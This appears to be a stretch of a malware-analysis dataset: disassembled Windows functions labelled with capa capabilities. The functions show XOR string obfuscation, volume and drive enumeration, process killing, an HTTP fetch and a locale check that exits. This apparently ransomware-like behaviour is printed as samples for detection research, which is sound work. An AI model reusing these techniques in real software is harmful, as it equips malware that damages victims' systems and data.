joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40a29d
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Encode data using xor
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90c
cmp dword [0x40fcc1], 0
je 0x40a361
push esi
mov esi, 0x40fcc5
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x40a360
push ebx
xor ebx, ebx
lea eax, [ebp - 0x90c]
push ebx
push 0x10
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov eax, dword [0x40fcc1]
inc eax
push eax
lea eax, [ebp - 0x10c]
push eax
push 0xffffffffffffffff
push esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x10c]
lea edx, [ebp - 0x90c]
push eax
mov ecx, edx
call fcn.00409e1e
push dword [0x40fd45]
mov edx, 0x40fd49
lea ecx, [ebp - 0x90c]
call fcn.00409d60
pop ecx
pop ecx
test eax, eax
je 0x40a35f
mov dword [ebp - 0xa], 0x5525553a
mov eax, ebx
mov dword [ebp - 6], 0x553b5530
mov word [ebp - 2], 0x55
xor byte [ebp + eax - 0xa], 0x55
inc eax
cmp eax, 9
jb 0x40a33b
push 5
push ebx
push ebx
lea eax, [ebp - 0x90c]
mov byte [ebp - 1], bl
push eax
lea eax, [ebp - 0xa]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
pop ebx
pop esi
leave
ret

Function at 0x40a363
Capabilities:
Encode data using xor
Get disk information

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
push edi
push 0
push 0
mov dword [ebp - 4], ecx
call ebx
mov edi, eax
test edi, edi
je 0x40a405
push esi
lea ecx, [edi*2 + 2]
call fcn.00406c8e
mov esi, eax
mov dword [ebp - 8], esi
test esi, esi
je 0x40a404
push esi
push edi
call ebx
push esi
mov edi, esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, eax
test ebx, ebx
je 0x40a3fd
mov esi, dword [ebp - 4]
push 1
push 0
push 8
mov edx, edi
mov ecx, esi
call fcn.00407f50
add esp, 0xc
test eax, eax
je 0x40a3e7
mov dword [ebp - 4], 0x555565
xor eax, eax
xor byte [ebp + eax - 4], 0x55
inc eax
cmp eax, 3
jb 0x40a3ce
mov edx, edi
mov byte [ebp - 1], 0
lea ecx, [ebp - 4]
call fcn.0040d84e
lea edi, [edi + ebx*2]
add edi, 2
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, eax
test ebx, ebx
jne 0x40a3af
mov esi, dword [ebp - 8]
mov ecx, esi
call fcn.00406d33
pop esi
pop edi
pop ebx
leave
ret
Function at 0x40a409
Capabilities:
Accept command line arguments
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x824
push ebx
push esi
push edi
mov dword [ebp - 0x14], ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
and dword [ebp - 0xc], 0
push eax
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, eax
lea ecx, [ebx*2 + 2]
call fcn.00406c8e
mov esi, eax
test esi, esi
je 0x40a543
and dword [ebp - 0x10], 0
xor ecx, ecx
xor edi, edi
test ebx, ebx
jle 0x40a53c
mov edx, dword [ebp - 8]
mov dword [ebp - 0x1c], 0x20
movzx eax, word [edx + edi*2]
cmp eax, 0x22
jne 0x40a474
xor eax, eax
cmp dword [ebp - 0x10], eax
sete al
mov dword [ebp - 0x10], eax
jmp 0x40a485
cmp ax, word [ebp - 0x1c]
jne 0x40a480
cmp dword [ebp - 0x10], 0
je 0x40a485
mov word [esi + ecx*2], ax
inc ecx
test ecx, ecx
je 0x40a533
lea eax, [ebx - 1]
cmp edi, eax
je 0x40a4ab
push 0x20
pop eax
cmp word [edx + edi*2], ax
jne 0x40a533
cmp dword [ebp - 0x10], 0
jne 0x40a533
cmp word [esi + ecx*2 - 2], 0x5c
lea eax, [ecx - 1]
cmovne eax, ecx
xor ecx, ecx
mov word [esi + eax*2], cx
mov ecx, dword [ebp - 0xc]
mov eax, ecx
inc ecx
mov dword [ebp - 0xc], ecx
test eax, eax
je 0x40a531
mov ecx, esi
call fcn.00409d49
test eax, eax
je 0x40a510
mov ecx, dword [ebp - 0x14]
mov edx, esi
push 0
push 0
push 2
call fcn.00407f50
add esp, 0xc
test eax, eax
je 0x40a52e
mov dword [ebp - 4], 0x555565
xor eax, eax
xor byte [ebp + eax - 4], 0x55
inc eax
cmp eax, 3
jb 0x40a4f5
mov edx, esi
mov byte [ebp - 1], 0
lea ecx, [ebp - 4]
call fcn.0040d84e
jmp 0x40a52e
mov ecx, esi
call fcn.00409d12
test eax, eax
je 0x40a52e
mov ecx, dword [ebp - 0x14]
mov edx, esi
push 0
push 0
push 1
call fcn.00407f50
add esp, 0xc
mov edx, dword [ebp - 8]
xor ecx, ecx
inc edi
cmp edi, ebx
jl 0x40a45e
mov ecx, esi
call fcn.00406d33
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 8]
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
xor esi, esi
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0x18], esi
jle 0x40a5fb
mov edi, dword [eax + esi*4]
mov ecx, edi
call fcn.00409e0e
mov ebx, eax
cmp ebx, 3
jle 0x40a5ee
cmp word [edi], 0x2d
jne 0x40a5ee
movzx ecx, word [edi + 2]
cmp ecx, 0x54
je 0x40a587
cmp ecx, 0x74
jne 0x40a5ee
cmp word [edi + 4], 0x3d
jne 0x40a5ee
push 0x800
lea ecx, [ebp - 0x820]
call fcn.00406ce6
lea edi, [ebx - 2]
mov eax, 0x400
add esp, 4
cmp edi, eax
cmovg edi, eax
xor edx, edx
test edi, edi
jle 0x40a5d1
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx + esi*4]
add ecx, 6
movsx ax, byte [ecx]
lea ecx, [ecx + 2]
mov word [ebp + edx*2 - 0x820], ax
inc edx
cmp edx, edi
jl 0x40a5bd
lea ecx, [ebp - 0x820]
call fcn.00409d12
test eax, eax
je 0x40a5ee
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x820]
call fcn.0040a600
mov eax, dword [ebp - 0xc]
inc esi
cmp esi, dword [ebp - 0x18]
jl 0x40a562
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a600
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x60014
call fcn.0040dc70
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0xc], edx
push ebx
push 0x80
push 3
push ebx
push 1
push closesocket
push ecx
mov dword [ebp - 8], ebx
lea esi, [ebp - 0x20010]
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x40a7ea
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
lea eax, [ebp - 8]
push eax
push 3
mov eax, esi
push eax
push edi
call ebx
test eax, eax
je 0x40a684
cmp dword [ebp - 8], 3
jne 0x40a684
cmp byte [ebp - 0x20010], 0xef
jne 0x40a684
cmp byte [ebp - 0x2000f], 0xbb
jne 0x40a684
cmp byte [ebp - 0x2000e], 0xbf
jne 0x40a684
mov dword [ebp - 4], 0xfde9
jmp 0x40a690
xor eax, eax
push eax
push eax
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x20000
lea ecx, [ebp - 0x20010]
call fcn.00406ce6
add esp, 4
lea eax, [ebp - 8]
push 0
push eax
push 0x20000
mov eax, ecx
push eax
push edi
call ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
cmp dword [ebp - 8], eax
jbe 0x40a6e1
mov cl, byte [ebp + eax - 0x20010]
cmp cl, 0xd
je 0x40a6d3
cmp cl, 0xa
jne 0x40a6db
mov byte [ebp + eax - 0x20010], 0
inc eax
cmp eax, dword [ebp - 8]
jb 0x40a6c2
mov edi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ebx, dword [ebp - 4]
cmp byte [esi], 0
je 0x40a7ca
push 0
push 0
push 0xffffffffffffffff
push esi
push 0
push ebx
call edi
test eax, eax
je 0x40a7ca
push eax
lea eax, [ebp - 0x60010]
push eax
push 0xffffffffffffffff
push esi
push 0
push ebx
call edi
lea ecx, [ebp - 0x60010]
call fcn.00409d49
test eax, eax
je 0x40a76d
mov ecx, dword [ebp - 0xc]
lea edx, [ebp - 0x60010]
push 0
push 0
push 2
call fcn.00407f50
add esp, 0xc
test eax, eax
je 0x40a7ca
mov dword [ebp - 4], 0x555565
xor eax, eax
xor byte [ebp + eax - 4], 0x55
inc eax
cmp eax, 3
jb 0x40a74e
lea edx, [ebp - 0x60010]
mov byte [ebp - 1], 0
lea ecx, [ebp - 4]
call fcn.0040d84e
jmp 0x40a7ca
lea ecx, [ebp - 0x60010]
call fcn.00409d12
test eax, eax
je 0x40a795
mov ecx, dword [ebp - 0xc]
lea edx, [ebp - 0x60010]
push 0
push 0
push 1
call fcn.00407f50
add esp, 0xc
jmp 0x40a7ca
push 2
xor edx, edx
pop ecx
call fcn.0040d786
xor ecx, ecx
xor edx, edx
inc ecx
call fcn.0040d786
lea ecx, [ebp - 0x60010]
call fcn.0040777a
xor edx, edx
push 2
inc edx
pop ecx
call fcn.0040d786
xor edx, edx
xor ecx, ecx
inc edx
inc ecx
call fcn.0040d786
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add esi, eax
jmp 0x40a7da
cmp esi, eax
jae 0x40a7ea
inc esi
cmp byte [esi], 0
lea eax, [ebp - 0x10]
je 0x40a7d5
cmp esi, eax
jb 0x40a6ea
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a7ef
Capabilities:
Encode data using xor
Get geographical location
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push 3
lea eax, [ebp - 8]
push eax
push 0x5a
push 0x400
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
movaps xmm0, xmmword [0x401ab0]
xor eax, eax
movups xmmword [ebp - 0x46], xmm0
mov ecx, eax
mov dword [ebp - 0x16], 0x55145500
movaps xmm0, xmmword [0x401ac0]
movups xmmword [ebp - 0x36], xmm0
mov dword [ebp - 0x12], 0x550f5500
movaps xmm0, xmmword [0x401b00]
movups xmmword [ebp - 0x26], xmm0
mov dword [ebp - 0xe], 0x551b5503
mov word [ebp - 0xa], 0x55
xor byte [ebp + ecx - 0x46], 0x55
inc ecx
cmp ecx, 0x3d
jb 0x40a848
mov cx, word [ebp - 0x46]
mov byte [ebp - 9], al
test cx, cx
je 0x40a886
push esi
mov esi, dword [ebp - 6]
movzx edx, cx
mov ecx, eax
cmp word [ebp - 8], dx
jne 0x40a875
cmp si, word [ebp + ecx - 0x44]
je 0x40a888
add eax, 2
lea ecx, [eax + eax]
movzx edx, word [ebp + ecx - 0x46]
test dx, dx
jne 0x40a868
pop esi
leave
ret
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x40a909
Capabilities:
Create http request
Encode data using xor
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64c
cmp dword [0x412dd1], 0
push ebx
push esi
mov ebx, edx
mov esi, ecx
push edi
mov dword [ebp - 0x20], ebx
je 0x40aaac
mov edi, 0x412dd5
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x40aaac
xor eax, eax
push eax
push eax
push eax
push 1
push esi
call dword [sym.imp.WININET.dll_InternetOpenW]
mov esi, eax
test esi, esi
je 0x40aaac
mov ecx, dword [0x412dd1]
lea eax, [ebp - 0x248]
inc ecx
push ecx
push eax
push 0xffffffffffffffff
push edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movaps xmm0, xmmword [0x401fc0]
xor eax, eax
movups xmmword [ebp - 0x1c], xmm0
mov dword [ebp - 0xc], 0x555575
xor byte [ebp + eax - 0x1c], 0x55
inc eax
cmp eax, 0x13
jb 0x40a985
lea eax, [ebp - 0x1c]
mov byte [ebp - 9], 0
push eax
lea eax, [ebp - 0x148]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x148]
push ebx
push eax
call edi
xor ebx, ebx
mov dword [ebp - 8], 0x555f5558
mov word [ebp - 4], 0x55
mov eax, ebx
xor byte [ebp + eax - 8], 0x55
inc eax
cmp eax, 5
jb 0x40a9c6
lea eax, [ebp - 8]
mov byte [ebp - 3], bl
push eax
lea eax, [ebp - 0x148]
push eax
call edi
push ebx
push closesocket
lea eax, [ebp - 0x148]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x248]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, eax
test edi, edi
je 0x40aaa9
lea eax, [ebp - 8]
push eax
push 0x400
lea eax, [ebp - 0x648]
push eax
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x40aa3b
cmp dword [ebp - 8], 0
ja 0x40aa1a
push edi
call ebx
movaps xmm0, xmmword [0x401fa0]
xor ecx, ecx
movups xmmword [ebp - 0x48], xmm0
mov eax, ecx
mov dword [ebp - 0x28], 0x55705575
movaps xmm0, xmmword [0x401fd0]
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x24], 0x555526
xor byte [ebp + eax - 0x48], 0x55
inc eax
cmp eax, 0x27
jb 0x40aa66
movaps xmm0, xmmword [0x4019d0]
mov eax, ecx
mov byte [ebp - 0x21], cl
movups xmmword [ebp - 0x18], xmm0
xor byte [ebp + eax - 0x18], 0x55
inc eax
cmp eax, 0xf
jb 0x40aa81
push dword [ebp - 0x20]
lea eax, [ebp - 0x248]
mov byte [ebp - 9], cl
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.0040d8f5
add esp, 0x10
push esi
call ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40aab1
Capabilities:
Encode data using xor
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x26c
lea ecx, [ebp - 4]
mov edx, 0x40f4c1
call fcn.004021e0
test eax, eax
je 0x40abe2
push esi
push 0
push 0xf
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [ebp - 0x26c], 0x22c
lea eax, [ebp - 0x26c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x40abd2
push edi
sub esp, 0xc
lea edx, [ebp - 0x248]
lea ecx, [ebp - 4]
call fcn.004022d6
add esp, 0xc
test eax, eax
je 0x40abbb
push dword [ebp - 0x264]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x40abbb
push 9
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x40abb4
movaps xmm0, xmmword [0x401fb0]
xor ecx, ecx
movups xmmword [ebp - 0x3e], xmm0
mov eax, ecx
mov dword [ebp - 0x1e], 0x55557c
movaps xmm0, xmmword [0x401b50]
movups xmmword [ebp - 0x2e], xmm0
xor byte [ebp + eax - 0x3e], 0x55
inc eax
cmp eax, 0x23
jb 0x40ab61
movaps xmm0, xmmword [0x401b70]
mov eax, ecx
mov byte [ebp - 0x1b], cl
movups xmmword [ebp - 0x1a], xmm0
mov dword [ebp - 0xa], 0x55315530
mov word [ebp - 6], 0x55
xor byte [ebp + eax - 0x1a], 0x55
inc eax
cmp eax, 0x15
jb 0x40ab89
push dword [ebp - 0x264]
lea eax, [ebp - 0x248]
mov byte [ebp - 5], cl
push eax
lea eax, [ebp - 0x3e]
push eax
lea eax, [ebp - 0x1a]
push eax
call fcn.0040d8f5
add esp, 0x10
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x26c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x40aafd
pop edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 4]
call fcn.00402299
pop esi
leave
ret

Function at 0x40abe4
Capabilities:
Query service status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
lea eax, [ebp - 0x28]
push ebx
push esi
push edi
push eax
xor ebx, ebx
mov esi, ecx
inc ebx
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x40ac5f
mov eax, dword [ebp - 0x10]
xor edx, edx
push 0xa
pop ecx
div ecx
mov ecx, 0x2710
cmp eax, ecx
mov edi, eax
cmova edi, ecx
mov ecx, 0x3e8
cmp eax, ecx
cmovb edi, ecx
jmp 0x40ac5a
push edi
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 4]
push eax
push 0x24
lea eax, [ebp - 0x28]
push eax
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x40ac5a
cmp dword [ebp - 0x24], ebx
je 0x40ac66
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x41409c]
cmp eax, 0x7530
ja 0x40ac5f
cmp dword [ebp - 0x24], ebx
jne 0x40ac24
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov eax, ebx
jmp 0x40ac61
Function at 0x40aedb
Capabilities:
Create thread

Disassembly:
push ecx
cmp dword [0x4140a0], 0
jne 0x40af04
test ecx, ecx
je 0x40aefd
xor eax, eax
push eax
push eax
push eax
push fcn.0040ac6a
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ecx
ret
push 0
call fcn.0040ac6a
pop ecx
ret

Function at 0x40af06
Capabilities:
Encode data using xor
Enumerate disk volumes
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x27c
push ebx
push esi
push edi
push 8
pop ecx
xor ebx, ebx
call fcn.00406c8e
mov edi, eax
test edi, edi
je 0x40b075
mov dword [ebp - 8], 0x556f550a
xor eax, eax
mov dword [ebp - 4], 0x555509
xor byte [ebp + eax - 8], 0x55
inc eax
cmp eax, 7
jb 0x40af36
lea eax, [ebp - 8]
mov byte [ebp - 1], bl
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
xor esi, esi
push edi
mov word [edi], si
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jne 0x40af69
lea eax, [esi + 0x41]
mov word [ebp + ebx*2 - 0x74], ax
inc ebx
inc esi
cmp si, 0x1a
jb 0x40af51
mov ecx, 0x10000
call fcn.00406c8e
mov esi, eax
test esi, esi
je 0x40b06e
push 0x8000
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov dword [ebp - 0xc], eax
test ebx, ebx
je 0x40b05e
push 0x200
lea ecx, [ebp - 0x278]
call fcn.00406ce6
and dword [ebp - 4], 0
lea eax, [ebp - 4]
add esp, 4
push eax
push 0x80
mov eax, ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
test eax, eax
je 0x40afdb
lea eax, [ebp - 0x278]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 3
je 0x40b047
mov ax, word [ebp + ebx*2 - 0x76]
dec ebx
push esi
push edi
mov word [edi], ax
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
movaps xmm0, xmmword [0x402050]
xor ecx, ecx
movups xmmword [ebp - 0x3e], xmm0
mov eax, ecx
mov word [ebp - 0x1e], 0x55
movaps xmm0, xmmword [0x401c50]
movups xmmword [ebp - 0x2e], xmm0
xor byte [ebp + eax - 0x3e], 0x55
inc eax
cmp eax, 0x21
jb 0x40b00c
movaps xmm0, xmmword [0x4019b0]
mov eax, ecx
mov byte [ebp - 0x1d], cl
movups xmmword [ebp - 0x1c], xmm0
xor byte [ebp + eax - 0x1c], 0x55
inc eax
cmp eax, 0xf
jb 0x40b027
push edi
push esi
lea eax, [ebp - 0x3e]
mov byte [ebp - 0xd], cl
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040d8f5
add esp, 0x10
push 0x8000
push esi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
test eax, eax
jne 0x40af93
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_FindVolumeClose]
mov ecx, esi
call fcn.00406d33
mov ecx, edi
call fcn.00406d33
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40b412
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x23
jb 0x40b414
mov byte [ecx + 0x23], 0
mov eax, ecx
ret

Function at 0x40b425
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x27
jb 0x40b427
mov byte [ecx + 0x27], 0
mov eax, ecx
ret

Function at 0x40b48b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
movaps xmm0, xmmword [0x401bf0]
xor eax, eax
movups xmmword [ebp - 0x32], xmm0
mov word [ebp - 2], 0x55
movaps xmm0, xmmword [0x401e70]
movups xmmword [ebp - 0x22], xmm0
movaps xmm0, xmmword [0x401f80]
movups xmmword [ebp - 0x12], xmm0
xor byte [ebp + eax - 0x32], 0x55
inc eax
cmp eax, 0x31
jb 0x40b4ba
lea eax, [ebp - 0x32]
mov byte [ebp - 1], 0
push eax
push 0x24
call fcn.0040b438
sub eax, 6
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
leave
ret

Function at 0x40b4e0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
call fcn.00409c21
test eax, eax
je 0x40b4f4
xor eax, eax
inc eax
leave
ret
movaps xmm0, xmmword [0x401b60]
xor eax, eax
movups xmmword [ebp - 0x3e], xmm0
mov dword [ebp - 0xe], 0x553c5520
movaps xmm0, xmmword [0x401ee0]
movups xmmword [ebp - 0x2e], xmm0
mov dword [ebp - 0xa], 0x55305527
movaps xmm0, xmmword [0x401c10]
movups xmmword [ebp - 0x1e], xmm0
mov dword [ebp - 6], 0x55745531
mov word [ebp - 2], 0x55
xor byte [ebp + eax - 0x3e], 0x55
inc eax
cmp eax, 0x3d
jb 0x40b532
lea eax, [ebp - 0x3e]
mov byte [ebp - 1], 0
push eax
push 0x10
call fcn.0040b438
pop ecx
pop ecx
xor eax, eax
leave
ret
Function at 0x40d9a2
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x2b
jb 0x40d9a4
mov byte [ecx + 0x2b], 0
mov eax, ecx
ret

Function at 0x40d9b5
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x25
jb 0x40d9b7
mov byte [ecx + 0x25], 0
mov eax, ecx
ret

Function at 0x40d9c8
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x81
jb 0x40d9ca
mov byte [ecx + 0x81], 0
mov eax, ecx
ret

Function at 0x40d9e0
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x2f
jb 0x40d9e2
mov byte [ecx + 0x2f], 0
mov eax, ecx
ret

Function at 0x40d9f3
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x39
jb 0x40d9f5
mov byte [ecx + 0x39], 0
mov eax, ecx
ret

Function at 0x40da06
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x51
jb 0x40da08
mov byte [ecx + 0x51], 0
mov eax, ecx
ret

Function at 0x40da19
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x4b
jb 0x40da1b
mov byte [ecx + 0x4b], 0
mov eax, ecx
ret

Function at 0x40da2c
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x29
jb 0x40da2e
mov byte [ecx + 0x29], 0
mov eax, ecx
ret

Function at 0x40da3f
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x5b
jb 0x40da41
mov byte [ecx + 0x5b], 0
mov eax, ecx
ret

Function at 0x40da52
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x43
jb 0x40da54
mov byte [ecx + 0x43], 0
mov eax, ecx
ret
Function at 0x404301
Capabilities:
Check if file exists
Check mutex on windows

Disassembly:
push 0x34
mov eax, 0x46be5d
call fcn.004490ad
mov esi, ecx
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x40]
push eax
call fcn.0040ee00
pop ecx
pop ecx
xor ebx, ebx
cmp dword [eax + 0x14], 8
mov dword [ebp - 4], ebx
jb 0x40432b
mov eax, dword [eax]
push str.84F426BD_908D_4E88_B771_8F126FC2FF49
push eax
lea eax, [ebp - 0x28]
push str.Global_s__s
push eax
call fcn.0040efef
add esp, 0x10
push ebx
push 1
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 2
call fcn.00409095
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
push ebx
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov dword [esi], eax
test eax, eax
jne 0x4043b5
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x4043b5
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [esi], eax
cmp byte [0x49e0ae], 0
je 0x4043b5
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
movzx eax, byte [0x49e0ae]
push str.ApplicationInstaceGuard___using_CreateMutex._Last_Error:__d
push eax
call fcn.00410bbc
add esp, 0xc
push 0xffffffffffffffff
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov cl, byte [0x49e0ae]
test cl, cl
je 0x4043db
push eax
movzx ecx, cl
push str.ApplicationInstaceGuard___Acquired_lock_____d
push ecx
call fcn.00410bbc
add esp, 0xc
push ebx
push 1
lea ecx, [ebp - 0x28]
call fcn.00409095
mov eax, esi
call fcn.00449057
ret 4